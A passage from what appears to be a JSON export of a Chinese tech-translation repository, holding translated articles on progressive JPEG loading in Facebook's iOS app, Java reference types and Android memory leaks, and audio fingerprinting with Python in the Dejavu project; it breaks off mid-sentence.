    "content": "> * 原文链接 : [Faster Photos in Facebook for iOS](https://code.facebook.com/posts/857662304298232/faster-photos-in-facebook-for-ios/)\n* 原文作者 : [Tomer Bar](https://www.facebook.com/bar)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [bobmayuze](https://github.com/bobmayuze)\n* 校对者: [SatanWoo](https://github.com/SatanWoo), [Nathanwhy](https://github.com/nathanwhy), [Tuccuay](https://github.com/Tuccuay)\n\n# Facebook iOS 应用是如何加速图片显示的？\n\n你的Facebook的动态消息中充满着一些关于你朋友、家人以及你所爱的人的照片，也许你会想要在手机上也能重温那些场景。我们一直在寻找提升用户体验的方式，包括更优秀和更快的移动端体验。为了达到这个目标，我们团队仔细研究了如何在 iOS 设备上更好更快得显示照片并最终找到了一种方法，能够让 Facebook for iOS 的数据开销降低10%，同时将照片加载显示的速度提升了15%。接下来的内容是讲述我们如何做到这一点的。\n\n## 过去图片是如何被处理的\n\n到目前为止， Facebook for iOS 是根据如下步骤加载你动态消息中照片：\n\n*   我们先拿到这个图片的所有链接，然后根据这个链接来下载格式为JPEG的照片数据。\n*   至少两个版本的图片被同时请求，这包括一张缩略图和一张全尺寸的图片。一旦小的缩略图下载好之后，我们会先显示小的缩略图直到更高精度的图片能被用于展示。\n*   有时候，我们会根据不同的尺寸将同一张图片下载多次。具体的尺寸是根据设备的型号以及图片在 app 中出现的场景来定义（比如在动态消息当中或者是全屏的 photo viewer ）\n*   因为我们对于同一个图片下载了多个尺寸的版本，所以这些不同尺寸的图片都会被储存在设备的闪存中\n\n## 渐进式图片\n\n渐进式图片 Progressive JEPG（简称为 PJEPG ）是一种储存多个独立“扫描”的图片格式。并且图片的精度会随着扫描的次数增加，变的越来越清晰。当所有的扫描版本叠加之后，一张最高精度的图片就会被显示出来。第一次的扫描能给予用户第一个低质量的缩略图。之后的每一层扫描都会使得这张图片的精度上升一个等级。当图片以PJPEG的格式被下载的时候，一旦第一层扫描结束我们可以马上在手机上为用户显示缩略图。当之后的扫描被下载后，我们会更新图片到一个更好的质量。\n\n浏览器对于PJEPG格式图片的支持在2010的时候就已经非常流行了。并且我们采用PJEPG作为图片格式已经有一段时间了。然而，手机端的应用们似乎还没赶上这个潮流。举个例子， iOS 端上还没有渐进式处理图片的支持，所以我们不得不为在 iOS 上的 Facebook 开发新的方式来做到这一点。\n\n## 在 Facebook 的 iOS 客户端上用渐进式图片\n\n在 Facebook for iOS 中采用渐进式的图片渲染有如下一些好处：\n\n1.  数据消耗：PJPEG使得我们可以避免下载小尺寸的图片。\n2.  网络连接：因为我们不再需要下载缩略图，我们现在每张图片只需要用到一个数据连接来代替过去使用多个数据连接来下载同一张图片。\n3.  硬盘储存：使用PJPEG来储存图片减少了应用对于硬盘的占用。\n4.  一个URL：因为我们不再需要根据不同的尺寸来多次下载图片，所以我们可以用相同的URL标识资源。\n\n然而使用 PJPEG 的图片有一个缺点：下载并渲染多个扫描层会占用更多 CPU 的资源。即使解码这些图片可以在后台处理，但是这个进程对于 CPU 来说还是非常繁重。对于我们来说，问题在于在数据占用，网络延迟和CPU的利用率上找到一个平衡点。比如说我们曾经考虑使用[WebP](http://en.wikipedia.org/wiki/WebP) 从文件大小的角度来说，WebP和JPEG相比，在某些情况下是更优的。但这种格式不支持渐进式的渲染。\n\n## 等待图片加载\n\n下面这张图片很好的解释了我们在 iOS 端的 Facebook 上是如何下载图片的。下面的两张图片都表示下载一张图片的情况。 “Wait Time” 表示了从显示一张图片的占位符到加载出清晰能让人表示满意的图片所需要的时间。即使当缩略图片已经显示了，许多用户还是不愿再等待全图的加载。\n![](https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xaf1/t39.2365-6/10540969_770021873088131_38326442_n.jpeg)\n\n当我们使用PJPEG的图片的时候：\n![](https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xap1/t39.2365-6/10935998_1623200524568459_2147345899_n.jpeg)\n\n对于每一张图片，我们在三个不同的扫描层次上进行渲染。\n\n1.  首先，我们渲染一张能够满足预览效果的图片，这一步是像素化的过程。\n2.  然后，我们渲染出一张肉眼看上去还不错的图片。事实上，它看上去几乎就是完美的。\n3.  最后我们渲染出一张最高质量的图片：达到最高分辨率的一张图。\n\n结果就是用户们可以更快的看到一张棒棒的图片！\n\n![](https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xft1/t39.2365-6/10935975_819617794775832_888993011_n.png)\n\n## 如何找到正确的扫描分层程度\n\n为了知道什么叫做一张令人满意的图片，我们尝试了不同的扫描层级，并最终找到了人们操作图片时涉及最多的那几个层级。我们同时也研究了不同扫描层级的图片与最终完整图片之间的相似度。我们的对比功能会获取两张图片并返还一个0到1之间的数字来表示他们的相似度。0是完全不像，1是完全一样。下面是一些测试的结果：\n\n![](https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xpf1/t39.2365-6/10956903_771333189588155_1044601403_n.png)\n\n为了对比选择不同扫描分层深度所带来的影响，我们还做了个[A/B 测试](https://code.facebook.com/posts/520580318041111/airlock-facebook-s-mobile-a-b-testing-framework/) 然后对数据进行了核实。\n\n## 取得的成果\n\n1.  在 iOS 端上的 Facebook 采用PJPEG后数据占用减少了10%。\n2.  在用了用PJPEG之后，我们将加载一张令用户满意的图片的速度提高了15%左右。新的图片和原来的全精度图片相比几乎没有区别。\n3.  采用PJEPG帮助我们提高了预览图的加载速度。通过这种方式，虽然 CPU 比以前多用了一点资源，但是我们大大减少了需要下载一张图片的时间。\n\n在 Facebook ，我们仍然继续致力于减少用户等待的时间，并且这只是我们很多努力中的一小部分。即使采用PJPEG后，照片的加载速度已经变得很快了，但是我们知道还是有很多提升的空间来更好的提升用户体验。\n\n很多人都在这个项目上花费了相当的时间；我们应当感谢Linji Yang, Miguel Cohnen, Kun Chen, Kirill Pugin, Edward Kandrot, Marty Greenia, Brian Cabral 和 Tomer Bar.\n"
  },
  {
    "path": "TODO/finally-understanding-how-references-work-in-android-and-java.md",
    "content": "> * 原文地址：[Finally understanding how references work in Android and Java](https://medium.com/google-developer-experts/finally-understanding-how-references-work-in-android-and-java-26a0d9c92f83#.x1m4ykp6m)\n* 原文作者：[Enrique López Mañas](https://medium.com/@enriquelopezmanas)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jacksonke](https://github.com/jacksonke)\n* 校对者：[jamweak](https://github.com/jamweak)，[PhxNirvana](https://github.com/phxnirvana) \n\n# 彻底理解引用在 Android 和 Java 中的工作原理\n几周前，我很荣幸地参加了在波兰举行的[ Mobiconf ](http://2016.mobiconf.org/)，移动开发者参加的最好的研讨会之一。我的朋友兼同事 [Jorge Barroso](https://github.com/flipper83) 做了个名为“最好（良好）的做法”的演说 ，这让我在听后很有感触：\n\n> 对于一个 Android 开发者，如果你不使用 WeakReferences，这是有问题的。\n\n举个恰当的例子，几个月前，我发布了我的最后一本书 “[Android High Performance](https://goo.gl/DLyeXN)”, 联席作者是 [Diego Grancini](https://www.linkedin.com/in/diegograncini)。最热门的章节之一就是讨论 Android 的内存管理。在本章中，我们介绍了移动设备中内存的工作原理，内存泄漏是如何发生的，为什么这个是重要的，以及我们可以应用哪些技术来避开它们。因为我从开发 Android 起，就常常看到这么种倾向：轻视甚至无视一切与内存泄漏和内存管理相关的问题。已经满足开发需求了，为何要庸人自扰呢？我们总是急于开发新的功能，我们宁愿在下一个 Sprint 演示中呈现一些可见的东西，也不会关心那些没有人一眼就能看到的东西。\n\n这无疑是导致[技术债务](https://en.wikipedia.org/wiki/Technical_debt)一个活生生的例子。 我甚至可以补充地说，技术债务在现实世界中也有一些影响，那是我们不能用单元测试衡量的：失望，开发者间的摩擦，低质量的软件和积极性的丧失。这种影响难以衡量的原因是在于它们常常发生在长远的将来的某个时间点。这有点像政客：如果我只当政 8 年，为何我要烦心 12 年后将要发生的事呢？除了在软件开发，一切都以更快的方式。\n\n编写软件开发中应该采纳的设计思想可能需要一些大篇文章，而且已经有很多书和文章可供您参考。然而，简要地解释不同类型的内存引用，它们具体是什么，以及如何在 Android 中使用，这是个相对简短的任务，这也是我想在本文中做的。\n\n首先：Java 中的引用是什么？\n\n> 引用指向了一个对象，你能通过引用访问对象。\n\nJava 默认有 4 种类型的引用：**强引用（StrongReference）**、**软引用（SoftReference）**、**弱引用（WeakReference）** 和 **虚引用（PhantomReference）**。部分人认为只有强引用和弱引用两种类型的引用，而弱引用有两个层次的弱化。我们习惯于将生活中的一切事物归类，那种毅力堪比植物学家对植物的分类的。不论你觉得哪种分类更好，首先你需要去理解这些引用。然后你可以找出自己的分类。\n\n各种引用都是什么意思？\n\n**StrongReference：** 强引用是 Java 中最为常见的引用类型。任何时候，当我们创建了一个对象，强引用也同时被创建了。比如，当我们这么做：\n\n    MyObject object = new MyObject();\n\n一个新的 **MyObject** 对象被创建，指向它的强引用保存在 **object** 中。你还在看吧？ 嗯，更有意思的事情来了，这个 **object** 是可以**强行到达**的——意思就是，它可以通过一系列强引用找到，这将会阻止垃圾回收机制回收它，然而，这正是我们最想要的。现在，我们来看个例子。\n\n    public class MainActivity extends Activity {\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {   \n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.main);\n            new MyAsyncTask().execute();\n        }\n\n        private class MyAsyncTask extends AsyncTask {\n            @Override\n            protected Object doInBackground(Object[] params) {\n                return doSomeStuff();\n            }\n            private Object doSomeStuff() {\n                //do something to get result\n                return new MyObject();\n            } \n        }\n    }\n\n花几分钟，尝试去找可能出现问题的点。\n\n不用担心，如果一时找不到，那再花点时间看看。\n\n现在呢？\n\n**AsyncTask** 对象会在 **Activity** **onCreate()** 方法中创建并运行。但这里有个问题：内部类在它的整个生命周期中是会访问外部类。\n\n如果 **Activity** 被 destroy 掉时，会发生什么？ **AsyncTask** 仍然持有 **Activity** 的引用，所以 **Activity** 是不能被 GC 回收的。这就是我们所说的内存泄漏。\n\n> **旁注** ：以前，我曾经对合适的人进行访谈，我问他们如何创建内存泄漏，而不是询问内存泄漏的理论方面。这总是更有趣！\n\n内存泄漏实际上不仅发生在 **Activity** 自身销毁的时候，配置的改变（译者注：比如横屏切换成竖屏）或系统需要更多的内存时，也可能系统强行销毁。如果 **AsyncTask** 复杂点（比如，持有 **Activity** 上的 **View** 的引用），它甚至会导致崩溃，因为 view 的引用是 null。（译者注：这个是直译过来的，可能对部分同学来说，不太好理解。我举个例子吧，比如 AsyncTask 中引用了 ProgressDialog，AsyncTask 运行时会显示 ProgressDialog，当横屏切成竖屏时，这时会出现崩溃。（╯＾╰〉）\n\n那么，要如何防止这种问题再次发生呢？我们接下来介绍另一种类型的引用：\n\n**WeakReference**：弱引用是引用强度不足以将对象保持在内存中的引用。如果垃圾回收机制试图确定对象的引用强度，如果恰好是通过 WeakReferences 引用，那么该对象将被垃圾回收。为了便于理解，最好是先抛开理论，用上个例子来说明如何使用 **WeakReference** 来避免内存泄漏：\n\n    public class MainActivity extends Activity {\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            new MyAsyncTask(this).execute();\n         }\n        private static class MyAsyncTask extends AsyncTask {\n            private WeakReference mainActivity;    \n\n            public MyAsyncTask(MainActivity mainActivity) {   \n                this.mainActivity = new WeakReference<>(mainActivity);            \n            }\n            @Override\n            protected Object doInBackground(Object[] params) {\n                return doSomeStuff();\n            }\n            private Object doSomeStuff() {\n                //do something to get result\n                return new Object();\n            }\n            @Override\n            protected void onPostExecute(Object object) {\n                super.onPostExecute(object);\n                if (mainActivity.get() != null){\n                    //adapt contents\n                }\n            }\n        }\n        }\n\n现在注意一个主要区别：Activity 是这样被内部类引用的：\n\n    private WeakReference mainActivity;\n\n这样做有什么差别呢？ 当 Activity 不存在时，由于它是被 WeakReference 持有的，可以被收集。 因此，不会发生内存泄漏。\n\n> **旁注:** 如果你现在对 WeakReferences 有预期的更好的了解，你会发现类 WeakHashMap 是很有用的。 它完全就是一个 HashMap，除了使用 WeakReferences 引用键（键，而不是值）。 这使得它们对于实现诸如缓存之类的实体非常有用。\n\n我们提到过更多的引用类型。 让我们看看它们在什么地方有用，以及我们如何能从中受益：\n\n**SoftReference**: **软引用**可以作为一个引用强度更强的**弱引用**。在**弱引用**将被立即回收的情形下，**软引用**会向 GC 请求留在内存中，除非没有其他选项（否则是不会回收软引用持有的对象）。[垃圾回收算法](https://plumbr.eu/handbook/garbage-collection-algorithms-implementations)真的很有意思，你可以几个小时内沉醉于研究它，而不会感到疲惫。但大体上，垃圾回收会这么解说“我会永远收回弱引用。 如果对象是 软引用，我将基于具体条件决定是否回收。” 这使得**软引用**对于实现缓存非常有用：只要内存足够，我们就不必担心手动删除对象。 如果你想看实际中的例子，你可以查看[这个例子](http://peters-andoird-blog.blogspot.de/2012/05/softreference-cache.html)，用**软引用**实现的缓存。\n\n**PhantomReference**：额，虚引用! 在实际产品开发中，我见过的，使用的次数不会超过 5 次。 垃圾收集器能随时回收虚引用 持有的对象，只要它乐意。没有进一步的解释，没有回调，这使得它难以描述。为什么我们要使用这样的东西？ 其他几个的问题还不够吗？ 为什么我会选择成为程序员？ 虚引用可以精确地用于检测对象是否已从内存中删除。 说实话，在我的整个职业生涯中不得不用虚引用的场景只有两次。 所以，即便你现在不是很难理解，也不要感到有压力。\n\n希望这有稍微消除点之前你对引用的疑虑。作为学习的东西，或许你现在想要来点[练习](https://medium.com/@enriquelopezmanas/the-theoretical-animal-4f6901aaf571#.5nocvfu4m)，玩你自己的代码，看看能怎么改进它。第一步应该是看看有没有内存泄漏，然后看看能否通过这里所学的知识去改掉那些令人讨厌的内存泄漏。如果你喜欢这篇文章，或者它确实帮到了你，请随意分享或者留下你的评论。这也是我这位业余写手的动力。\n\n感谢我的同事 [Sebastian](https://twitter.com/semuvex) 对这篇文章的投入！"
  },
  {
    "path": "TODO/fingerprinting-and-audio-recognition-with-python.md",
    "content": "> * 原文地址：[Audio Fingerprinting with Python and Numpy](http://willdrevo.com/fingerprinting-and-audio-recognition-with-python/)\n* 原文作者：[Will Drevo](http://willdrevo.com/contact/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Airmacho](https://github.com/Airmacho)\n* 校对者：[hikerpig](https://github.com/hikerpig), [bobmayuze](https://github.com/bobmayuze)\n\n# 用 Python 和 Numpy 实现音频数字指纹特征识别\n\n我第一次用 Shazam 的时候，简直惊呆了。除了 GPS 功能和从楼梯摔下仍然没坏之外，能用一段音频片段识别歌曲是我所见过我手机能做到的最不可思议的事了。识别是通过一个叫[音频特征识别](http://en.wikipedia.org/wiki/Acoustic_fingerprin)的过程来实现的，例子包括：\n\n- [Shazam](http://www.ee.columbia.edu/%7Edpwe/papers/Wang03-shazam.pdf)\n- [SoundHound / Midomi](http://www.midomi.com/)\n- [Chromaprint](http://acoustid.org/chromaprint)\n- [Echoprint](http://echoprint.me/)\n\n经过几个周末在学术论文和代码中求索，我想出了一个基于 Python 语言开发的，开源的音频特征识别项目，名字叫 Dejavu。 你可以在 GitHub 上找到它：\n\n[https://github.com/worldveil/dejavu](https://github.com/worldveil/dejavu)\n\n按照我的测试数据集，Dejavu 可以通过从磁盘上读取一段未知的波形文件，或者听取 5 秒以上的录音实现 100% 准确率的识别。\n\n以下是你需要了解的所有关于音频特征识别的知识。对信号处理有研究的读者可以略过，从 “Peak Finding” 开始读。\n\n## 把音乐当作信号处理\n\n作为一名计算机科学家，我之前理解的[快速傅立叶变换 (FFT)](http://en.wikipedia.org/wiki/Fast_Fourier_transform) ，只是一种很高效地能在`O(nlog(n))` 时间内计算多项式乘法的方法。但实际上，它在信号处理方面也有很好的应用场景。\n\n音乐，其实就是与一长串数字相似的数字编码。在未压缩的 .wav 文件里，有很多这样的数字 — 每个声道每秒钟 44100 个数字。这意味着三分钟长的歌曲有近 1600 万个数字。\n\n> 3 分钟 * 60 秒 * 44100 个样本每秒 * 2 声道 = 15,876,000 个信号样本\n\n声道是指，可以用扬声器播放的，独立的信号样本序列。两个耳塞 — 可以想成是立体声，两个声道。一个声道也被称作‘单声道’。现代的环绕音系统可以支持更多的声道。但除非声音在被录制或者混录时已经是多声道，否则多出来没有对应的扬声器就会播放跟其他扬声器一样的信号流。\n\n## 信号样本\n\n为什么是每秒 44100 个信号样本？这样选择的原因看起来随意，其实与[奈奎斯特-香农采样定理](http://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem)有关。这个很长的，数学推导的方法告诉我们，可以准确采集录音的最大频率是有一个理论上限的。这个最大的频率取决于我们信号采样有多**快**。\n\n如果你没理解，可以想象看一个扇叶每秒转一个整圈(1Hz)的电风扇。现在闭上你的眼睛，精确地每秒钟快速睁开一下。如果扇叶也是精确的每秒转一圈，对你来说扇叶并没有移动！每次你睁开眼睛，扇叶都会转到相同的位置。但这有问题，实际上，如你所知，扇叶每秒钟可以转 0，1，2，3，10，100，甚至 100万圈。但你却永远感知不到 — 它看起来是静止的！因此为了保证你可以准确地采样（或者‘看到’）高频率的运动（如‘转圈’），你需要以更高的频率采样（或者说‘睁眼’），准确的说，我们需要用运动两倍的频率采样才能确定我们可以觉察到。\n\n就音频录制来说，广泛接受的规则是可以忽略掉 22050Hz 以上的信号，因为人类的耳朵无法听到 20000Hz 以上的频率。因此根据奈奎斯特定理，我们需要**加倍地**采样：\n\n> 每秒需要采样的 = 最高频率 * 2 = 22050 * 2 = 44100\n\nMP3 格式的文件压缩了这个采样率，以 1）节省你的硬盘空间，2）惹恼音乐发烧友，但其实纯 .wav 格式文件不过是一串 16 比特的数字序列（加上一个小小的文件头）。\n\n## 频谱图\n\n因为这些音频样本其实就是信号，我们可以不断地在一小段时间窗口内的歌曲样本上，用快速傅立叶变换生成歌曲的[频谱图](http://en.wikipedia.org/wiki/Spectrogram)。下面就是 Robin Thicke 的 “Blurred Lines” 这首歌开始几秒的频谱图。\n\n![Blurred Lines](http://willdrevo.com/public/images/dejavu-post/spectrogram_no_peaks.png)\n\n如你所见，这是一个用横轴表示时间，纵轴表示频率，以颜色表示振幅大小的矩阵。快速傅立叶变换展示给我们信号在特定频率的强度（振幅）。如果我们计算足够次数的滑动窗口 FFT，我们可以把它们拼在一起组成一个矩阵频谱。\n\n重要的是要注意，频率和时间的值是离散的，每对代表一个 “bin”，振幅是实值。颜色表示在离散化（时间，频率）的坐标系中的振幅的实值（红 -> 较高，绿 -> 较低）。\n\n现在思考，如果我们记录一个单音并创建频谱，我们会在单音的频率上得到一条直的水平线的。这是因为频率不随窗口变化而变化。\n\n很好，那么这如何帮我们识别音频呢？我们想用这个频谱图来唯一地标记这首歌。问题是如果你当车上使用手机，识别的还是收音机上播放的歌曲时，会有噪音 — 背景音里有说话声，另一辆车按喇叭等。我们不得不找一个稳健的方法来获取音频信号的“数字指纹”。\n\n## Peak Finding\n\n现在我们有了根据音频信号生成的频谱图，我们可以从在振幅里面寻找‘峰值’开始。我们这里定义峰值为振幅在附近“临域”极大值对应的时频。周围的时频对应的振幅都比它小，更有可能是背景噪音。\n\n查找峰值本身就是个问题。我最后把频谱图当作图片处理，用图片处理工具和`scipy`库里的技术查找峰值。用一组高通滤波器（强调高振幅）和 `scipy`查找局部极大值的算法可以实现。\n\n一旦我们提取出这些抗噪声峰值，我们就发现了可以识别一首歌曲的关键点。一旦我们找到峰值，我们就可以有效地“压缩”频谱图。振幅已经完成了它们的使命，我可以不再关注。\n\n让我们来绘制下，看看它是什么样：\n\n![Blurred Lines](http://willdrevo.com/public/images/dejavu-post/spectrogram_peaks.png)\n\n你会注意到很多这样的点。实际上，每首歌数以万计。妙处就在，我们已经消除了振幅，只有两个东西要关注，时间和频率，我们可以把它们很方便地转换成离散的整数值。本质上，我们已经将它们合并了。\n\n我们面对的是一个自相矛盾的情况：一方面，我们有一个可以将峰值从信号合并成离散数值对（时间，频率）的系统，让我们避开噪音的干扰。另一方面，因为我们已经离散化，我们将峰值的所包含的信息从无限减少至有限，这意味着一首歌中可以找到的峰值可能（提示：真的会）和其他歌曲中提取的碰撞重合。不同的歌曲可以，并且很可能提取出相同的峰值！现在怎么办呢？\n\n## 数字指纹哈希\n\n所以我们可能遇到相似的峰值特征。没问题，让我们把这些峰值转换成数字指纹哈希！我们可以用一个哈希函数来实现。\n\n[哈希函数](http://en.wikipedia.org/wiki/Hash_function)接受一个整数作为输入，返回另一个整数作为输出。奇妙的是，一个好的哈希函数不仅在每次输入相同时返回相同的输出整数，而且极少出现输入不同返回输出相同的情况。\n\n通过观察我们的频谱峰值和合并的峰值频率以及它们之间的时间差，我们可以得到一个可以当作歌曲的唯一数字指纹的哈希。\n\n~~~\nhash(频谱峰值, 峰值之间时间差) = 数字指纹哈希值\n~~~\n\n这有很多种实现方式，Shazam 用自己的算法，SoundHound 用另外的。你可以通过读我的源码来看我是怎样实现的。但是关键是，因为考虑多个单一的峰值，你创建的数字指纹有更多的熵，也就是包含更多的信息。因此它们是歌曲更有说服力的标识符，因为它们碰撞重复的几率更小。\n\n你可以将通过下面这个放大的有注释标记的频谱片段来将这个过程在脑海中可视化：\n\n![Blurred Lines](http://willdrevo.com/public/images/dejavu-post/spectrogram_zoomed.png)\n\nShazam 白皮书把这些峰的组合比做一种用于识别歌曲的峰组成“星座”。实际上，他们使用的是成堆的峰值以及峰值之间的时间增量。你可以想象许多不同方法来给这些点和数字指纹分组。一方面，数字指纹中有更多的峰值意味着更指纹更罕见，可以更准确地识别一首歌。但是峰值采集的更多，也意味着在有噪音的情况下，更不准确。\n\n## 学习一首歌曲\n\n现在我们可以开始研究这些系统是怎样工作的了，音频特征系统有两个任务：\n\n1. 通过对音乐的特征识别学习一首歌曲\n2. 通过在存储了已学习的歌曲的数据库中查询来识别未知歌曲\n\n为了实现这个，我们用我们的知识和 MySQL 作为数据库。我们的数据库结构包含下面两个表：\n\n## 数字指纹表\n\n表有以下字段：\n\n    CREATE TABLE fingerprints (\n         hash binary(10) not null,\n         song_id mediumint unsigned not null,\n         offset int unsigned not null,\n         INDEX(hash),\n         UNIQUE(song_id, offset, hash)\n    );\n\n首先，注意我们不只有哈希值和歌曲 ID，还有偏移量。这对应于哈希源自频谱图的时间窗口。当我们需要过滤匹配的哈希时将要用到。只有“对齐”的哈希值才是源自我们要识别的真实信号的（更多关于“数字指纹对齐”的部分在下面）。\n\n其次，我们在哈希值这列建一个`索引`，有很好的理由。所有的查询都需要匹配哈希值，所以我们需要在这里有一个真正快速的读取。\n\n接下来，`UNIQUE`所以保证我们不会有重复的项目。不需要浪费空间或过度地匹配重复的音频。\n\n如果你搞不清楚为什么我用`binary(10)`来指定哈希值存储的类型，原因是，我们会存储**很多**这样的哈希值，节省空间是必要的。下面是每首歌曲提取数字指纹数量的图表：\n\n\n\n![Fingerprint counts](http://ac-Myg6wSTV.clouddn.com/fce9eb07d200f20846d2.png)\n\n最前面的是 Justin Timberlake 的 \"Mirrors\"，有超过 24 万个数字指纹，接着是 Robin Thicke 的 \"Blurred Lines\"，有 18 万个数字指纹。最下面的是清唱的\"Cups\"，无伴奏音乐，只有歌声和一个真的杯子伴奏。相对的，听 “Mirrors”时，你会注意到明显的“噪音墙”乐器和编曲，将频谱从高到低填充满，这意味着频谱充斥着高频和低频，对这个数据集，每首歌的平均有超过10万个数字指纹。\n\n有了这么多指纹，我们需要从哈希值的维度上减少不必要的磁盘存储。对于我们的数字指纹哈希，我们可以从用` SHA1`开始，将其减少成一半的尺寸（只是前20个字符）。这可以使我们每个哈希值所占用的字节数减半：\n\n> char(40) => char(20) 从 40 bytes 到 20 bytes\n\n接下来，我们将十六进制编码转还成二进制，再次大幅度地减少了空间：\n\n> char(20) => binary(10) 从 20 bytes 到 10 bytes\n\n好多了，我们将 `hash` 字段从 320 比特减少到 80 比特，减少了75%的空间利用。\n\n我第一次试用系统时，我用一个 `char(40)`字段来存储每个哈希 - 这导致仅数字指纹的数据就占了超过 1GB 的空间。通过用 `binary(10)`，存储 520 万个数字指纹仅需要 377M 空间。\n\n我们确实丢失了一些信息 - 我们的哈希值，从统计的角度讲，会碰撞的更频繁。我们大大减少了哈希的“熵”。然而，重要的是要记得我们的熵（或者说信息）还包含4 字节的 `offset` 字段。这使我们每个数字指纹的总的熵达到：\n\n> 10 bytes (哈希值) + 4 bytes (偏移量) = 14 bytes = 112 bits = 2^112 ~= 5.2+e33 可能的数字指纹\n\n还不赖。我们省下了 75% 的空间，但仍有难以想象多的数据指纹需要处理。保证关键点的分配是很难的，但我们肯定有足够的熵来回避。\n\n## 歌曲表\n\n歌曲表就相当普通，我们会用它来查询关于歌曲的信息。我们用`song_id`来匹配出歌曲的字符串形式的名字。\n\n~~~\nCREATE TABLE songs (\n    song_id mediumint unsigned not null auto_increment,\n    song_name varchar(250) not null,\n    fingerprinted tinyint default 0,\n    PRIMARY KEY (song_id),\n    UNIQUE KEY song_id (song_id)\n);\n~~~\n\n`fingerprinted`标记是 Dejavu 内部用的，来决定是否要提取一个文件的特征值。我们初始设置为 0，只有当提取特征过程（一般来说两个声道）完成之后才将它设置为 1。\n\n## 指纹对齐\n\n太棒了，所以现在我们听取了一个音轨，在重叠的时间窗口执行 FFT，提取峰值，形成数字指纹。现在该做什么呢？\n\n假设我们已经在已知的音轨上提取了数字指纹，将其存入数据库，并用歌曲 ID 标记，可以查找直接匹配。\n\n伪代码看起来是这样的：\n\n    channels = capture_audio()\n\n    fingerprints_matching = [ ]\n    for channel_samples in channels\n        hashes = process_audio(channel_samples)\n        fingerprints_matching += find_database_matches(hashes)\n    predicted_song = align_matches(fingerprints_matching)\n\n对于哈希来说，对齐是指什么呢？让我们把正在听的样本想成原始音轨的子段落。这样，我们从样本里提取的哈希就会有一个相对于样本开始的`偏移量`。\n\n问题当然是，当我们最初提取数字指纹，我们记录哈希的是**绝对**偏移量。来自样本的相对哈希和数据库里的绝对哈希永远不会匹配。除非我们从歌曲的开头开始记录样本，这不太可能。\n\n但是他们也许不是一样的，我们知道所有相关偏移量都是相隔相同的距离。这需要假定音轨被播放和被采样时速率是一致的。实际上，当录音播放的速率不同时，我们就不这样幸运了，因为这会影响录音的频率，继而影响生成频谱中的峰值。无论如何，录音的速度是一个好的（并且重要的）假设。\n\n在这种假设下，对于每个匹配，我们计算偏移量之间的差：\n\n> 偏移量差 = 库中数据相对原音轨的偏移 - 样本相对于录音的偏移\n\n这会产生一个正整数，因为数据库里的音轨始终至少是样本的长度。所有的真正的匹配都有相同的区别，因此，我们从数据库匹配会被改成：\n\n> (song_id, difference)\n\n现在我们只要查看所有的匹配并预测差异数最大的歌曲 ID。如果你能把这想象成直方图，就很容易。\n\n大功告成！\n\n## 工作的如何\n\n为了真正的获得音频数字指纹系统带来的好处，它不能耗费很长时间来提取指纹。这是糟糕的用户体验，此外，用户可能只是在广播电台插播广告的前的珍贵几秒，尝试匹配歌曲。\n\n为了测试 Dejavu 的速度和准确度，我提取了 2013 年 7 月的美国 VA Top 40 的 45 首（我知道，他们数错了）歌曲的数字指纹。用三种方式测试：\n\n1. 直接从硬盘读取原始 mp3， wav 数据\n2. 用 Dejavu 通过笔记本的麦克风听取音乐\n3. 在我的 iPhone 上播放压缩流音乐\n\n下面是结果。\n\n## 1. 从磁盘读取\n\n从磁盘读取的准确率是不可阻挡的 100% — 在我提取特征的 45 首歌里面没有错误。因为 Dejavu 获取到歌的全部样本（没有噪音干扰），如果每次从磁盘读取相同文件都不能成功，那就太糟了。\n\n## 2.通过笔记本的麦克风获取音频\n\n这里我写了一个脚本，可以随机选取原始 mp3 文件的`n`秒的音频，让 Dejavu 通过麦克风听。为了结果可信，我选取的音频片段刨除了距歌曲开始或结束10秒内的部分，以防听取不到声音。\n\n另外，在整个过程中，我朋友在说话，我在跟着哼，以加入噪音。\n\n这是听取的时间不同（`n`)的结果：\n\n![Matching time](http://ac-Myg6wSTV.clouddn.com/193cba5b655f93c89574.png)\n\n结果很棒，正确率如下：\n\n| 录音时长（秒） | 正确结果／总数 | 正确率    |\n| ------- | ------- | ------ |\n| 1       | 27 / 45 | 60.0%  |\n| 2       | 43 / 45 | 95.6%  |\n| 3       | 44 / 45 | 97.8%  |\n| 4       | 44 / 45 | 97.8%  |\n| 5       | 45 / 45 | 100.0% |\n| 6       | 45 / 45 | 100.0% |\n\n即使只听取一秒，随机选取歌曲的任意部分，Dejavu 的准确率也达到了 60%！两秒的话准确率可以达到约 96%，5秒或以上，结果就趋近于完美了。老实说，当我测试的时候，我发现 Dejavu 赢了我，只听一两秒就识别出歌曲是相当难的。我甚至已经 debugging 的时候连续听了两天相同的歌。\n\n结论是，即便在提供的数据少到几乎没有的情况下，Dejavu 工作的也非常出色。\n\n### 3. 在我的 iPhone 上播放的压缩音乐流\n\n只是尝试一下，我尝试用我的 iPhone 扬声器从我的 Spotify 账户播放音乐（已压缩160 kbit/s），Dejavu 仍从我的 MacBook 的麦克上听取。正确率没有下降， 1 到 2 秒仍足以识别出任何歌曲。\n\n## 性能：速度\n\n在我的 MacBook Pro上，以 3 倍速只要很少的开销就可以完成匹配。为了测试，我尝试了不同的录音时长，并记下录音时长加与匹配用时的对应关系。由于匹配速度主要取决于频谱图的长度，和具体哪首歌没有关系，我只测试了一首歌， Daft Punk 的《Get Lucky》:\n\n![Matching time](http://ac-Myg6wSTV.clouddn.com/6d03d080cc00cc5f5e90.png)\n\n如你所见，关系是非常线性相关的。你看到的直线是对数据的最小二乘线性回归拟合。相应的方程是：\n\n> 1.364757 * 录音时长 - 0.034373 = 匹配需要的时间\n\n注意， 因为匹配本身是单线程的，匹配时间也包含录音的时间。这解释了用三倍速匹配时：\n\n> 1 (录音) + 1/3 (匹配) = 4/3 ~= 1.364757\n\n如果我们忽略微小的常数项。\n\npeak finding 算法的开销是瓶颈 — 